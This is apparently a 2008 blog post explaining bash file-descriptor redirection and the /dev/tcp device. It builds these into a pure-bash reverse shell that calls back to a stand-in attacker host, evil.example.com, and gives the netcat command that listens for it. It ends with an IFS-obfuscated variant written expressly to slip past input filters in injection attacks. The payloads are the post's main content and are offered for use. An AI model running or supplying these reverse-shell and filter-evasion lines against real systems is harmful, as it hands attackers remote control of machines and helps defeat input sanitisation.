Tuesday, January 29, 2008

/bin/bashed

Bash can read and write pipes on a specific file descriptor, like so:``echo foo >&2'' which prints to file descriptor 2 and ``cat <&2'' which reads from file descriptor 2. Just like in the rest of the unix world, file descriptor 0 is stdin, 1 is stdout, and 2 is stderr unless they've been redirected. In fact, we're not limited to 0, 1, and 2 -- we have up to 1023 to play with. To open a new one, we use the syntax: ``cat 3<>foo.txt <&3'' which has the same effect as ``cat foo.txt'', but piped through file descriptor 3.

Bash also has a little known feature that allows opening a tcp connection with the special filename: /dev/tcp/hostname/port. ``echo foo > /dev/tcp/example.com/9999'' will perform a DNS lookup for example.com, attempt to connect to TCP port 9999 of the resulting IP address, and send the string "foo" to the socket.

Putting these things together...
targetbox / $ /bin/bash 3<>/dev/tcp/evil.example.com/9999 <&3 >&3 &

and we've got a shell shoveler in pure bash, no outside executables. Catch it with:
evil / $ nc -l -p 9999


Same thing; pure bash, now with no spaces for getting around input filters:
eval${IFS}"bash${IFS:0:1}3<>/dev/tcp/evil.example.com/9999${IFS:0:1}<&3${IFS:0:1}>&3${IFS:0:1}&"

No comments: